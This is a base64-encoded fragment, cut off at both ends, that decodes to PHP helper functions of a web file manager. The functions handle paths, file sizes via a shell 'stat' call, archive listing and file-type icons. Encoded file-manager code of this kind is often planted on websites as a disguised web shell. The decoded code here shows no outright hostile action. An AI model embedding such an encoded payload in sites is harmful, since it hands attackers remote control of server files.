dXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmV